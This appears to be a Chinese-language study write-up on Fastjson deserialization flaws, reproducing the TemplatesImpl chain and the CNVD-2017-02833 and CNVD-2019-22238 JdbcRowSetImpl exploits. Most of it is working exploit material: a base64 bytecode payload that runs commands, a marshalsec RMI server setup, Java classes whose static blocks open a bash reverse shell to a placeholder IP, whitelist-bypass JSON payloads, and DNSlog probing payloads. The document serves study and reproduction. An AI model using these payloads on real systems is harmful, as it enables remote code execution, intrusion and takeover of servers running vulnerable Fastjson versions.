0x01[基础认知]

  • Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象
  • Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象
  • 提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换,调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象

环境搭建

  • 新建maven项目,添加依赖
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.0</version>
    </dependency>

简单示例

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class fastjsonTest {
    public String name;
    public Integer age;

    public static void main(String[] args) {
        fastjsonTest ft = new fastjsonTest();
        ft.setName("LTLT");
        ft.setAge(20);
        ft.toStr();

        System.out.println("对象转json字符串");
        System.out.println(ft);
        String jsonstring = JSON.toJSONString(ft);
        System.out.println("①:"+jsonstring);
        System.out.println("--------------------");

        System.out.println("json转对象");
        String js = "{\"age\":20,\"name\":\"LTLT\"}";
        JSONObject jso = JSON.parseObject(js);
        System.out.println(jso.getString("name")+" is my name, and I am "+jso.getInteger("age")+" years old!");
        System.out.println("--------------------");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public void toStr(){
        System.out.println("I am :"+this.getName()+" and I am "+this.getAge()+" years old now!");
    }
}

image-20220227180811858.png


0x02[@type]

  • 除开正常的序列化,反序列化之外,fastjson提供特殊字符段@type,即AutoType这个字段可以指定反序列化任意类,执行构造函数,且会自动调用类中属性的特定的setter,getter方法,但是遵循以下原则

    • 当类为private或者protected的时候,必须要有set和get方法

      • 当JSON.parse/parseObject有传入Feature.SupportNonPublicField的时候,以上情况的set就不是必要的了,但get仍然是
    • 当类为public的时候,set和get就不是必须的了
    • fastjson反序列化必须要使用构造方法

evalcalc.java

package calc;

import com.alibaba.fastjson.JSON;
import java.io.*;

public class evalcalc
{
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line;
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine();
        while (line != null) {
            buffer.append(line); // 将读到的内容添加到 buffer 中
            buffer.append("\n"); // 添加换行符
            line = reader.readLine(); // 读取下一行
        }
        reader.close();
        is.close();
    }
    public static void main( String[] args ) throws IOException
    {
        StringBuffer Buffer = new StringBuffer();
        evalcalc.readToBuffer(Buffer,"F:\\Idea-project\\fastjson-study\\src\\main\\java\\calc\\demo.json");
        Object obj = JSON.parseObject(Buffer.toString());
    }
}

eval.java

package calc;

import java.io.IOException;

public class eval {
    public String name;
    public Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public eval() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

deam.json

{
  "@type": "calc.eval",
  "name": "LTLT",
  "age": "20"
}

image-20220227195650870.png

  • 这种情况一般需要我们能够自己控制eval类,或者是json文件

0x03[TemplatesImpl链]

  • 这个漏洞需要的条件比较苛刻,依赖Feature.SupportNonPublicField

漏洞复现

  • 漏洞影响

    • Version <= 1.2.24
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>

fastjsonTest.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class fastjsonTest extends AbstractTranslet {
    public fastjsonTest() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        fastjsonTest fastjsonTest = new fastjsonTest();
    }
}
  • 将生成的字节码.class文件base64编码
certutil -encode xxx.java base64.txt

image-20220315152554041.png
image-20220315152825937.png
image-20220315152810500.png
image-20220315152842927.png

AttackPoc.java

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class AttackPoc {
    public static void main(String[] args) throws ClassNotFoundException {
        String payload= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
                "[\"yv66vgAAADMAMQoABwAkCgAlACYIACcKACUAKAcAIQoABQAkBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MZmFzdGpzb25UZXN0OwEACkV4Y2VwdGlvbnMHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwArAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAMZmFzdGpzb25UZXN0AQAKU291cmNlRmlsZQEAEWZhc3Rqc29uVGVzdC5qYXZhDAAIAAkHACwMAC0ALgEABGNhbGMMAC8AMAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAoABAALAA0ADAAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABAADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAPAAAABAABABcAAQARABgAAgAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABUADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAZABoAAgAAAAEAGwAcAAMADwAAAAQAAQAXAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAABgACAAZAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABABAAAQAiAAAAAgAj\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
                "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}
  • AttackPoc中的base64串就是之前文件的base64串

image-20220315153127158.png

漏洞分析

  • 首先在AttackPoc中关键点打断点,开始debug

image-20220315153300049.png
image-20220315154555872.png
image-20220315154652443.png

  • 跟进发现会调用DefaultJSONParser进行一些默认参数的设置

image-20220315160831899.png

  • F7跟进查看调用了JSONScanner

image-20220315161031614.png
image-20220315161630030.png

  • 正如其名Scanner,他在一个一个扫描字符串,直到字符串尾

image-20220315161827204.png
image-20220315161847923.png

  • 由于字符串首位是"{"

image-20220315162511379.png

  • 所以进入以下分支

image-20220315162603188.png

  • 调用DefaultJSONParser的时候,传入了一些全局配置

image-20220315174208253.png
image-20220315174057313.png

  • denyList:黑名单
  • 然后知道了首位是"{",于是设置了token为12

image-20220315175407531.png
image-20220315175347450.png
image-20220315175543198.png
image-20220315175608202.png

  • new了一个JSONObject的对象,是Hashmap

image-20220315175738661.png

  • 判断ch是否为 " 如果为TRUE,则取他的字段,这里会首先获取到@type

image-20220315194348128.png

  • 取到了@字符

image-20220315194515831.png

  • 逐个取出来,直到下一个 " ,最后取出来key=@type,进入一个判断

image-20220315215818772.png
image-20220315195208028.png

  • 通过反射获取所有方法

image-20220317203827860.png

  • 不断的判断方法的定义规则,最后获取字段

image-20220317210305722.png

  • 对_bytecodes字段进行处理,去除了_

image-20220317161931295.png

  • 反序列化_bytecodes字段

image-20220317211008246.png
image-20220317211542390.png
image-20220317211551826.png

  • 扫描base64串

image-20220317212121911.png

  • 至于为什么需要将字节码文件base64编码,因为这里有解码部分

image-20220317230442844.png

  • 最后反射执行了恶意代码

image-20220318002502670.png
image-20220318002502670.png

CNVD-2017-02833

command.java
import java.lang.Runtime;
import java.lang.Process;
 
public class command {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // Do nothing
        }
    }
}
javac command.java
# 编译生成command.class字节码文件
# 开启一个http服务,这里用python
# python3 -m http.server 8888

image-20220320124935489.png

  • 下载marshalsec项目(反序列化利用工具,帮助我们开启一个RMI服务)
git clone https://github.com/mbechler/marshalsec.git
# git走代理 git config --global http.proxy "socks5://127.0.0.1:1080"
mvn clean package -DskipTests

image-20220320130707423.png
image-20220320130841047.png
image-20220320130954949.png
image-20220320125316361.png

# 开启RMI服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://IP:PORT//#[CLASS-name] [RMI-PORT]

image-20220320131152556.png
image-20220320131358288.png

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://[RMI-IP]:[RMI-PORT]/[CLASS-NAME]",
        "autoCommit":true
    }
}

image-20220320131428984.png
image-20220320131454302.png

  • 修改命令为反弹shell
import java.lang.Runtime;
import java.lang.Process;
 
public class command {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/5666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // Do nothing
        }
    }
}
  • 编译并替换字节码文件

image-20220320132024583.png


CNVD-2019-22238

  • fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测实现RCE
  • 漏洞分析
  • 利用流程与CNVD-2017-02833大同小异
# javac rce.java
public class rce {
    public rce(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/x.x.x.x/xxxx 0>&1");
            }catch(Exception e){
       e.printStackTrace();
    }
}
public static void main(String[] argv){
    rce poc = new rce();
    }
}
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://[RMI-IP]:[RMI-PORT]/[CLASS-NAME]",
        "autoCommit":true
    }
}

0x04[漏洞探测]

测试是否为Fastjson

  • 修改原始json数据,使之花括号闭合不全,在有原始报错回显的情况下可能会含有"fastjson"相关字样

    • 原:{"name":"LTLT"}
    • 测:{"name":"

利用ldap结合dnslog探测是否存在漏洞

image-20220320143445898.png
image-20220320143502873.png

{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://[RMI-IP]:[RMI-PORT]/[CLASS-NAME]",
        "autoCommit":true
    }
}


{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://[DNSLOG]",
        "autoCommit":true
    }
}
{"@type":"java.net.Inet4Address","val":"Dnslog"}

{"@type":"java.net.Inet6Address","val":"Dnslog"}
# 收集的一些畸形POC
{"@type":"java.net.InetSocketAddress"{"address":,"val":"Dnslog"}}

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"Dnslog"}}""}

{{"@type":"java.net.URL","val":"Dnslog"}:"aaa"}

Set[{"@type":"java.net.URL","val":"Dnslog"}]

Set[{"@type":"java.net.URL","val":"Dnslog"}

{{"@type":"java.net.URL","val":"Dnslog"}:0

区分Fastjson与Jackson

  • 追加key-value

    • 原:{"name":"LTLT","age":21}
    • 测:{"name":"LTLT","age":21,"TEST123":123456}
  • Fastjson 不会报错的, Jackson 因强制 key 与 javabean 属性对齐,只能少不能多 key,可能会在服务器响应包中有所回显